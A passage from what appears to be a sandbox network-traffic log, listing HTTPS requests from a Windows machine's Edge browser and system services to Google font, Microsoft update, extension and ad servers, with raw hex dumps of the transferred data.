2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 34 3d 97 d3 d8 25 32 96 b3 f5 13 f7 6e 04 c3 e8 d7 24 af 68 00 67 eb c3 66 e7 0c 80 f3 86 ed 66 61 be 93 2c c1 a2 81 5f 40 75 19 01 ec 81 b2 11 59 6b 02 01 7c 80 cd 06 9c b7 f6 39 2e 1b a2 d1 59 0b 31 ae 2b a8 f9 19 97 78 ba 9e 92 04 eb 38 0f b1 da 61 42 cf b8 b8 ab 80 50 16 da 7c e0 2a 5d 2e b6 61 3d 16 a7 f7 ad 25 37 09 0c 17 4a fa a3 b0 2f 74 b2 60 63 c4 b5 32 fd ca 4b dc 91 50 cd 08 cf a1 3e ef 10 50 75 05 0f a4 06 bb 61 21 1b 94 db 98 9a 6d 25 ee 69 db 2b 4b 9f 80 46 c6 7a 5d 13 fe 95 45 1a 44 be bd d3 f7 20 9f 7f 88 83 9f 5b 5b 41 3d 0c 7f 6e 6e 02 8a 0a a9 66 0f 64 38 ff 27 1a e0 86 95 3d 0e 65 8e 2a 9e ff b3 5a f5 13 b7 6b 4c e2 da dd 53 96 36 98 be 35 e0 8b a2 03 ec 6d 83 0f 98 a6 6a 9a 7d d4 30 cf b9 22 24 be 95 ed ae b5 82 4d 0c 6d 44 68 ea 50 Data Ascii: 4=%2n$hgffa,_@uYk\|9.Y1+x8aBP\|].a=%7J/t`c2KP>Pua!m%i+KFz]ED [[A=nnfd8'=eZkLS65mj}0"$MmDhP
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 87 c6 bc 81 e5 c6 01 f8 80 6e be 68 ae 8d 1a 92 d9 22 7c fb 47 cd 55 a8 b9 72 2b d4 f6 c4 b2 bb dd a3 21 3e c1 52 53 40 cc 0f 98 69 56 28 ab c0 b8 20 06 f5 02 9a 6f 68 bf 82 e6 8f 24 99 81 79 93 8e d4 f5 47 b4 3f 91 f0 93 e1 db ea 74 d9 df bc 02 e8 81 b4 53 49 59 03 c4 1b 90 6e de 93 27 17 a4 fa 97 68 50 4b ef a1 19 2a b3 8e 70 02 6b db 66 44 24 b0 33 79 cf de 43 b1 cd cd c3 41 86 8d 22 07 8e 36 37 b7 cc 9f 0b de bb 60 25 1c fe f7 ea 9b 07 c5 80 f6 9d 10 df 4c b8 27 ef 1c 14 d6 c4 c3 c8 1c ee dd 3d 4d da 8a 0c c4 52 71 54 0a cc 3d d5 5f 29 07 02 fd 8d 5b 75 1c 35 30 b0 47 f8 b3 f1 28 6e 46 7c 56 31 fc 89 c5 6c ca aa 76 67 10 f7 66 c9 bd 26 86 fd fd 33 5d db d6 b3 31 ae 67 3e af 13 4c ea cf 63 28 1c 73 d5 b7 cf 2e dd b8 9a fa 75 a8 12 83 1e ae 82 2c 32 d0 Data Ascii: nh"\|GUr+!>RS@iV( oh$yG?tSIYn'hPK*pkfD$3yCA"67`%L'=MRqT=_)[u50G(nF\|V1lvgf&3]1g>Lc(s.u,2
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 1a 0c 27 c9 15 33 8e 4d 6d 30 cb db c6 1d 95 4b 44 47 2a fe 65 6d 62 82 56 4a e1 cb 97 55 fc 6d 2d fc d8 a1 69 e9 bd ea 7b 41 b9 d4 6c 30 29 3a d9 54 cc 2c 05 5e a2 02 b3 c5 bb 08 19 d8 62 b9 d7 a5 62 06 3c 34 40 2e 25 3c 2e c3 97 e2 9d d1 3b c2 71 73 13 d5 e3 35 1f 0d 77 bd 52 9b 9d 01 9b 76 ce d3 0a 52 52 c7 6b 5d b2 e6 95 0a ae bf 14 a3 21 ab aa 31 20 bd b4 d7 42 bf e6 ac e0 5e 40 6f ac 03 3a 6a 01 54 03 d6 36 21 06 2c ba 37 91 a3 0c 4f d2 f8 12 13 46 bb 84 e9 6e dd 4f 81 45 78 78 68 42 e3 13 1f ac 1d 5f 60 04 f8 9a c2 4f 39 8e dc 8c 8d 17 91 02 eb a3 e5 59 ed 20 d2 12 4f e2 a7 7e 66 86 b7 89 8d 5e 42 dd ad 6d cf 2f c2 ed a0 58 e6 a4 e8 94 cb 4f a1 44 3b d4 2c b4 50 44 ce 14 d0 d2 b6 82 1a 45 be 6a b8 a8 f3 70 b4 81 60 59 46 50 39 3d 99 b2 b8 fb 19 23 Data Ascii: '3Mm0KDG*embVJUm-i{Al0):T,^bb<4@.%<.;qs5wRvRRk]!1 B^@o:jT6!,7OFnOExxhB_`O9Y O~f^Bm/XOD;,PDEjp`YFP9=#
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 5e 4e 7f fd fa f3 8f 27 8f ff d8 06 aa 7b 8f 52 b0 a4 78 a6 f8 ce 72 c4 5f 39 36 74 23 3d a2 5e 64 ed 29 3c 87 d5 63 57 ef 41 05 40 38 0f e8 2f d0 e8 ee 60 78 31 a8 e0 aa 56 f0 9d a3 17 ab 1f c9 83 ee a5 c0 0c d4 43 84 42 20 54 19 07 77 89 e3 f9 04 05 67 92 9e a7 b0 83 ae 1c df b9 60 e3 01 68 2e f0 49 a9 c5 b0 3d 74 1f 03 d9 07 37 09 19 27 70 29 60 8f d4 1e 13 eb a4 2d 83 17 0b 58 58 65 0b 2b 09 80 2e 29 5a 5a 1e 7b 0b 46 a0 a2 7f e9 a8 77 64 98 5b 0e e4 3a 8a 11 91 76 32 04 ed 6a 28 4f 01 04 c6 70 85 84 f6 e7 b3 20 6e 41 39 10 d0 00 a9 42 a0 f8 c0 6e f0 6c 6d 44 a1 12 09 6c f4 67 bf 3f ab ff f1 f8 f1 1c 10 16 b7 35 9a 93 9f 70 5f e2 ca bd 60 c7 46 0f d8 18 13 66 58 1b 01 f9 88 5d 2a e3 a5 e8 eb b3 27 1a 94 30 a2 67 4f 44 be 18 97 0f cf c7 58 11 76 5a 6f Data Ascii: ^N'{Rxr_96t#=^d)<cWA@8/`x1VCB Twg`h.I=t7'p)`-XXe+.)ZZ{Fwd[:v2j(Op nA9BnlmDlg?5p_`FfX]*'0gODXvZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49822	142.250.64.99	443	7008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:24 UTC	924	OUT	GET /s/googlesans/v58/4UaRrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iq2vgCI.woff2 HTTP/1.1 Host: fonts.gstatic.com Connection: keep-alive sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117" Origin: https://accounts.google.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.150" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.150", "Google Chrome";v="117.0.5938.150" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 08:37:24 UTC	836	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="apps-themes" Report-To: {"group":"apps-themes","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/apps-themes"}]} Timing-Allow-Origin: * Content-Length: 52280 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 24 Jul 2024 07:55:37 GMT Expires: Thu, 24 Jul 2025 07:55:37 GMT Cache-Control: public, max-age=31536000 Age: 175307 Last-Modified: Tue, 23 May 2023 16:36:38 GMT Content-Type: font/woff2 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-26 08:37:24 UTC	554	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 cc 38 00 15 00 00 00 02 16 18 00 00 cb be 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 89 5e 1b 81 fe 24 1c a4 34 3f 48 56 41 52 8e 17 3f 4d 56 41 52 39 06 60 3f 53 54 41 54 81 2a 27 2c 00 85 4a 2f 81 00 11 08 0a 81 e6 60 81 b6 28 0b 87 5a 00 30 83 b7 52 01 36 02 24 03 8f 2e 04 20 05 86 12 07 a8 4b 0c 07 5b 93 f8 71 86 96 63 07 92 54 ee cb ae e1 dd c5 98 3e cb 50 de 6a d8 a6 60 b3 77 bd d9 99 23 fb d3 d5 8d 25 cc b3 be 83 db 81 f6 e2 4e bc 22 fb ff ff ff 17 24 15 19 33 cd 30 ed 36 18 0c 04 af ea d5 ff 87 98 20 b8 4c 04 72 58 2f 72 5b 6a ce 79 9c 7c 2a 28 08 34 cc 81 25 23 f7 8c 92 b1 96 32 ae 76 b3 6d c6 14 2d 90 1d 25 bb 89 cd 9c 15 e8 3b 2d 1d 59 d6 7b 1b e1 26 f6 b9 4f 3d 23 6c 40 09 c7 e5 6b Data Ascii: wOF28^$4?HVAR?MVAR9`?STAT',J/`(Z0R6$. K[qcT>Pj`w#%N"$306 LrX/r[jy\|(4%#2vm-%;-Y{&O=#l@k
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 9e 74 f3 9f 10 dc 18 11 48 20 64 8d cb 65 5f d6 be 4b 2e f3 b2 2f 09 2b 38 00 51 11 50 c4 85 5a 51 0b ae b6 d6 b9 3b 9d 1d ce 55 fd ca af 9d ae 5d bb a7 f8 f7 ba ea bf 0e 5f 14 65 2a b3 b2 a0 f9 03 b2 37 31 e1 8f 3f 8e 37 11 4f 52 76 bf 3f cb d6 ae eb 6c ac b5 d6 47 7c d8 50 94 92 ee 7c 3a fd 9a 19 49 16 58 06 c9 32 b0 2c 93 4c 89 ed 00 c3 ee e6 ff 05 64 e7 67 ef 5d 7d 57 23 75 57 5d 51 6e 75 50 2d 73 e0 3b b1 2d 59 9a e1 9f ef ef e5 5d fb dc df 12 b0 d2 00 43 16 90 6a 5f f8 4d 30 84 11 8a 79 1f cf 1c 0b a7 e5 ec 4a f2 f9 d2 0b ea f4 01 09 c6 b1 e4 94 4e 59 00 0e 40 41 ff fd 9a 2c ed ce d4 9c de 2d 8c 46 95 c0 b5 03 e2 c0 27 fd d0 77 9f 2f 6a 35 67 a6 76 55 53 eb 16 d8 55 dd d6 a1 30 84 26 82 9d 19 79 37 b1 4c 50 f9 1d 91 aa ee 25 7f 89 8e 8c d2 59 0e a1 Data Ascii: tH de_K./+8QPZQ;U]_e*71?7ORv?lG\|P\|:IX2,Ldg]}W#uW]QnuP-s;-Y]Cj_M0yJNY@A,-F'w/j5gvUSU0&y7LP%Y
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 65 70 0b 00 48 00 80 17 af 3d 8f bc f6 ef 15 6d 69 2f 46 5b e3 dc b8 c0 42 a2 10 af f1 05 07 17 e3 19 43 ce f4 ed dc b8 eb cd f5 a3 d1 e6 bd a3 19 7b e7 d5 df be ff e3 2f ff eb 5b ff 00 8a 19 c1 ff ad 5f ad 8b a0 8b 98 24 cb ee b0 b9 0b ef 63 fd a7 fd 8f bf 02 7f 31 00 94 00 00 05 7d f1 d2 d5 4f 37 ac 5f ae 39 bf 6a 98 bf 6e b8 bf 5e 33 fe bc 61 fc 65 43 ff eb 1b ec ff dd ad 37 8f ac bf bf 14 be 75 e4 be fb f2 f0 bd a3 f1 eb ca bd 6e dc eb 87 e1 f5 4f fc a7 8c 7f f3 d0 bd 79 3c 79 73 a5 bf b9 32 de fc ad 7a e6 e1 eb 1f 94 cf ed 67 cf 43 93 9b 6f 1b b7 57 87 c5 8f d8 8b c1 e6 a5 bf 7f f7 1d f7 fe d7 f3 d7 6c 69 6b 39 6d e4 74 af b4 67 d6 e9 ea 10 36 3c 3f 35 e6 2b 73 fe f5 68 fe 43 7d 33 c6 6e d6 1a db f1 78 a7 68 cb 33 b2 53 ce 76 b1 fe f2 86 b1 bc e1 2e Data Ascii: epH=mi/F[BC{/[_$c1}O7_9jn^3aeC7unOy<ys2zgCoWlik9mtg6<?5+shC}3nxh3Sv.
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 44 50 4e a5 a6 31 f2 fc 72 f4 49 cd 52 b4 4c fb 49 47 76 ce 13 5e ae 7d 2a 5e 38 93 21 c1 46 bc b0 49 aa 45 f6 f7 7b 10 fc 2a 87 6b b3 27 cb 51 28 7a f9 41 7f 8a 56 24 3a 34 2b 5b 14 f8 75 a5 b3 db 6d 5e 8e 34 6d 33 ca c3 61 8c 05 b5 50 36 de 7c 59 e5 fa fb 51 53 c3 ce 79 ab 5e 02 19 f5 55 c0 0d bc 4f e4 c6 93 40 2b 9d 97 a7 6a 33 45 3a d4 24 c0 cc 0c c0 5d f7 a3 fb f1 c5 fc b1 58 87 bf cc 43 e5 9a 0b 3a d0 28 1f 86 c8 ed 5c 0b e7 d8 cb 34 c3 91 1e 7e 48 ea fd 80 5a b3 96 52 aa 92 c6 84 0a f0 21 af 01 6b c1 d1 f0 1c 2d 3f 38 2d 4b b8 f9 ef 72 f4 0c 9d 53 4d b2 e6 6c d3 97 00 ab 75 9b fb a3 c6 a4 b5 de 60 68 b6 ff c8 a7 1f 7f 9c 91 cf 6f 74 18 ee fd 77 b8 28 b1 55 94 6a 67 a6 00 7c c3 57 a4 10 e0 e6 4d bf 20 25 3e f6 f3 5e db 9c 48 e6 06 69 3a 5b 6e da dc Data Ascii: DPN1rIRLIGv^}^8!FIE{k'Q(zAV$:4+[um^4m3aP6\|YQSy^UO@+j3E:$]XC:(\4~HZR!k-?8-KrSMlu`hotw(Ujg\|WM %>^Hi:[n
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 85 c2 d9 4d af 71 b8 1e 37 e0 46 7d 96 5b 3e 8f 3a b3 83 38 c7 c5 39 61 da 7e 3a 5c 05 7d c3 d3 37 8d be 65 72 41 dd 05 dd 6d b0 47 f7 12 f6 e9 7e e0 d8 95 c7 2b d0 93 01 ce 96 45 bd ae 4b ab ad 5b 4a 0c d6 7b a7 e7 02 3d 0f 7c 8d 8b 7a 3d 81 5b b8 fd f9 4f b9 3c 79 bf c3 7c ad 02 de a0 46 3a e9 66 b2 36 55 c6 56 21 08 2d d8 45 45 95 75 7c c4 37 05 41 38 70 73 43 7a 68 a3 85 02 a1 c2 35 82 cc b0 b4 1d 1d 67 3f 56 1d 59 c3 72 36 e2 f9 e2 7e 0e f1 c0 52 8e a0 ca c2 2e e5 c8 4e b6 20 53 70 41 56 3c 3c 42 86 51 05 8b 87 04 c9 2e 75 1a d3 bc 10 52 a8 40 09 06 6c 40 89 50 dd ef f0 c0 24 21 72 5e 11 7b 1a 65 15 d2 47 d9 fa 64 88 48 1a 4c e7 d8 d8 d1 b4 7a 07 b6 ae 2e 85 86 5b bf 04 23 15 8d 08 a6 03 ac 71 af ce 1e 35 99 a7 b4 90 d0 a0 8d 4e 1f 0c 73 95 64 42 fb Data Ascii: Mq7F}[>:89a~:\}7erAmG~+EK[J{=\|z=[O<y\|F:f6UV!-EEu\|7A8psCzh5g?VYr6~R.N SpAV<<BQ.uR@l@P$!r^{eGdHLz.[#q5NsdB
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: cb 8d ea 4d b7 6a d0 77 f5 a9 ab 67 ba 5d ff 83 3b b0 75 0d 9e 08 0e d1 96 06 1e 8a 5e a4 2c 60 44 8b b8 ed 98 d3 14 07 a0 38 61 4f 16 1d 38 5b 84 cb 0d 47 ee 38 f1 88 32 9e bc e8 f2 8e ce 7c 2d c3 12 74 47 0b b6 1c b2 c2 2a 48 84 81 ad c6 5d 24 b4 28 3c 44 c3 13 f3 bf a7 58 f1 b4 25 50 90 4a 94 84 96 2c 15 4f 9a 1c 48 ae 61 26 0f 5a 3e c8 1a fc a9 58 a2 00 5a 61 0b 15 bd b4 86 52 58 6a 3d 81 ca e2 32 1b 6c a4 a3 e2 97 20 db ec 85 35 68 24 b4 cf 7e a6 1d cc e0 d1 7d e6 f8 5e 37 66 80 93 d3 c7 61 3e 16 f7 42 2f 3b 6c 3f c3 f6 4b b2 b1 69 1e af 59 8e 7a f3 8d 0a 81 37 f0 8d 21 f0 07 62 6f 91 78 87 d8 78 94 f8 d3 7b 16 fe c2 d8 04 26 3e 60 6c 32 4d c6 61 2c 2c b3 e8 30 f9 0c 45 89 62 c5 14 30 1a db 82 d7 0c 4e e2 53 89 d9 51 c9 19 93 32 4f aa 8b 9d 74 b1 93 Data Ascii: Mjwg];u^,`D8aO8[G82\|-tG*H]$(<DX%PJ,OHa&Z>XZaRXj=2l 5h$~}^7fa>B/;l?KiYz7!boxx{&>`l2Ma,,0Eb0NSQ2Ot
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 2c f3 a1 19 84 d7 af d8 df 5c 35 5a b0 ef 4d db 1e e6 80 7c 51 aa f9 b8 66 4c ed 5e 8d c9 9e eb 9c 93 6a 57 4e 5b 78 f6 ca 2b 9e ae 7b 22 d7 0c d0 e9 8a 3b 39 65 98 0e 87 00 bb c5 7d 93 91 37 52 ab e7 69 56 b1 2e b1 9f 65 55 9b e3 95 e3 c5 cd da ab c5 72 ca aa 2d 53 6a 61 7c b0 98 12 5a 98 a4 ca 37 ef 66 e6 b2 0a 55 02 f3 f5 2d 54 aa 7e 39 cf c5 c3 b7 4c 0f 33 85 15 5f aa 19 8d 84 a1 0b 45 58 45 62 10 90 0b c0 6d 8a a0 07 6a 9c 6b 1f 47 8d b1 b5 30 95 5b 75 ad 11 8c d8 22 9c 8b ba 04 19 3c 4c 3e b4 5e 56 93 40 cb a1 0a 80 05 79 e7 76 b6 43 bb c9 cc 1f e1 41 35 ec 54 bb 81 06 ce b3 37 98 0a 0c 0a 34 c2 da 8a d7 00 54 58 b1 89 1c 6d c2 f0 12 a8 70 4d e1 85 86 dd 64 97 03 76 d8 49 38 d6 b5 52 f8 cb ee dd 72 96 ee e9 10 40 4a 21 3c 5e cc 02 a3 b2 d0 92 0f 6f Data Ascii: ,\5ZM\|QfL^jWN[x+{";9e}7RiV.eUr-Sja\|Z7fU-T~9L3_EXEbmjkG0[u"<L>^V@yvCA5T74TXmpMdvI8Rr@J!<^o
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 5c 67 d3 86 5a 06 0c da 8f e0 9a f4 a8 f8 33 d3 ed c1 7d 5d 18 9d a5 f1 c4 1b 3c be f8 51 40 72 a3 40 1f 60 09 14 ea 1f ce 59 10 cc 65 6d 68 68 06 dd 2c 9a 56 8b 6f 25 4d d4 6c 33 c6 57 f5 36 2f a8 7a 6d 6c 8e 48 aa 04 2e a8 b4 b3 6f 29 26 29 7a 95 57 2c 9c d1 ba 73 18 f4 63 37 dd 1a 69 c7 9b b8 46 eb 6d 23 d6 48 55 b5 96 14 4f 3c e5 54 0b 54 e3 52 5c dc 43 b6 34 e7 50 05 5c 63 4d 82 72 aa fc 90 4f 6a b8 0a ca cd c2 a1 46 97 dd 14 50 c1 77 12 d2 54 c7 45 cb 62 bc ec 9e 4e ac 3a 05 4d 39 f3 f2 fb 4e a1 ab 16 79 03 b6 62 fc fa 6a ec ca 27 85 ce bc f2 c7 95 98 0a 83 0e 3e f3 aa 9f 10 84 53 f6 68 f2 f6 cc ab 7f b4 05 6e a1 42 4a e8 9a 03 97 1e d4 74 63 16 4d 98 9e fc 90 07 79 98 de 3c ca e3 3c 49 5f 9e e6 59 7e 4c 7f 7e ca f3 bc c8 40 5e c2 6c 09 33 98 9f a3 Data Ascii: \gZ3}]<Q@r@`Yemhh,Vo%Ml3W6/zmlH.o)&)zW,sc7iFm#HUO<TTR\C4P\cMrOjFPwTEbN:M9Nybj'>ShnBJtcMy<<I_Y~L~@^l3
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: 51 ef 35 83 5e 1f ff 57 33 7e ab 99 ec 95 62 d4 2f 6f 94 f5 13 65 bd f7 47 bb 40 6c ee 73 6d 7f d1 3b 4b f6 a1 de fa ea ec ff 9f 5f 68 87 cd 4d 38 fa c3 4b 81 76 b9 39 5c 33 dd 27 cb c3 f5 36 3d c6 37 6a ae 3f 9e bd 54 3f f2 dc 34 37 9f f6 d6 ef 55 7b 6d f6 5c 3b d6 9f 9e 3d d0 ce 9f 69 b7 9e 69 df fd 4f 18 c5 e5 c5 93 dc 6a 9f 0f fa 9f 48 9e ea e9 73 7d 75 a3 7f f2 37 59 dc ff dc 95 f1 f9 d9 ae 77 7d 53 4d 5e 57 57 6f 7d 93 f3 73 36 f9 5a fc 62 58 be 1e 59 fc f3 b7 7a eb 3f 0a f7 7b 54 fb 9e ec 7d 6f fd 60 ea cf df 7b 61 49 fd a0 ea f0 0b b7 e3 cf e6 78 16 75 a6 20 70 75 56 f8 d1 93 09 a4 a0 f6 e8 d1 54 a9 c1 dd cb bf 8d 52 ff 01 02 a3 80 82 c6 df 31 c4 b6 ff 01 dc 01 98 42 08 e6 e7 1d 5c 70 c9 bf 7f 55 7e e9 a0 65 af 1d ad b5 58 7f 2f 44 64 aa 65 45 cb Data Ascii: Q5^W3~b/oeG@lsm;K_hM8Kv9\3'6=7j?T?47U{m\;=iiOjHs}u7Yw}SM^WWo}s6ZbXYz?{T}o`{aIxu puVTR1B\pU~eX/DdeE
2024-07-26 08:37:24 UTC	1390	IN	Data Raw: a0 0a 5e 74 58 97 3a a2 67 6c 28 cd 0d 01 d0 02 cf a3 9c a9 f1 5e 52 19 aa 6f 87 43 d2 a0 d1 82 71 e9 82 d6 40 9a 26 37 6e 2e 6d f9 08 d5 77 ac 91 ea 9a a1 30 5d ee 34 74 02 7f 4c ba a7 fd 1e cb 9a 6a e0 c6 c5 4c ba 44 69 60 7b 9b 42 38 9b e6 ed 6a 28 3c 0d 43 2c 64 b2 9a 08 9d 63 a1 bc 2e 6f d2 cc 50 f2 ec 0e dc 07 0a 75 91 7a 2b ef 2d 34 ae 78 67 a2 ea 54 a7 2a 73 42 0c d0 cb e0 50 bd 81 9e eb 59 79 5a 77 5e 2f c3 6f 38 b0 0c 36 6e 2b 73 83 b8 b4 d3 43 10 25 42 29 6c 7b e4 93 fd 37 7a 7c 4d ed 5e 5e 60 df d2 da ac dc 6a 43 90 6b 92 db 4c 73 7c f9 65 cb ba 65 35 23 69 56 57 3f 1f 49 98 88 8c 84 62 f6 4f bf 6e c9 42 ce 08 49 22 92 b4 68 59 ca 42 98 f1 52 9a 72 b3 db 59 fb 97 4a 5a f7 de 2d 56 fc c1 12 38 43 f0 1d 99 cb 52 08 34 b6 89 b6 20 2f 75 8d f9 a3 Data Ascii: ^tX:gl(^RoCq@&7n.mw0]4tLjLDi`{B8j(<C,dc.oPuz+-4xgT*sBPYyZw^/o86n+sC%B)l{7z\|M^^`jCkLs\|ee5#iVW?IbOnBI"hYBRrYJZ-V8CR4 /u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49823	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:24 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-26 08:37:25 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=239859 Date: Fri, 26 Jul 2024 08:37:25 GMT Content-Length: 55 Connection: close X-CID: 2
2024-07-26 08:37:25 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49829	152.195.19.97	443	7008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:25 UTC	620	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1722587837&P2=404&P3=2&P4=he9zOfFPGomWqUf%2bq60bvAktCaXNv7E1bcbLxjuW%2fMM8sr75kGmryXCD%2f3%2b2aVWg2qj4lUl5oSURoDhAgWsTVQ%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: yx88zYcXHnbQW/SwlJ9lNV Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 08:37:25 UTC	632	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 1909576 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Fri, 26 Jul 2024 08:37:25 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-07-26 08:37:25 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49827	23.101.168.44	443	7008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:26 UTC	616	OUT	GET /v4/api/selection?placement=88000360&nct=1&fmt=json&ADEFAB=1&OPSYS=WIN10&locale=en-GB&country=CH&edgeid=5518710994624701133&ACHANNEL=4&ABUILD=117.0.5938.150&poptin=0&devosver=10.0.19045.2006&clr=esdk&UITHEME=light&EPCON=0&AMAJOR=117&AMINOR=0&ABLD=5938&APATCH=150 HTTP/1.1 Host: arc.msn.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
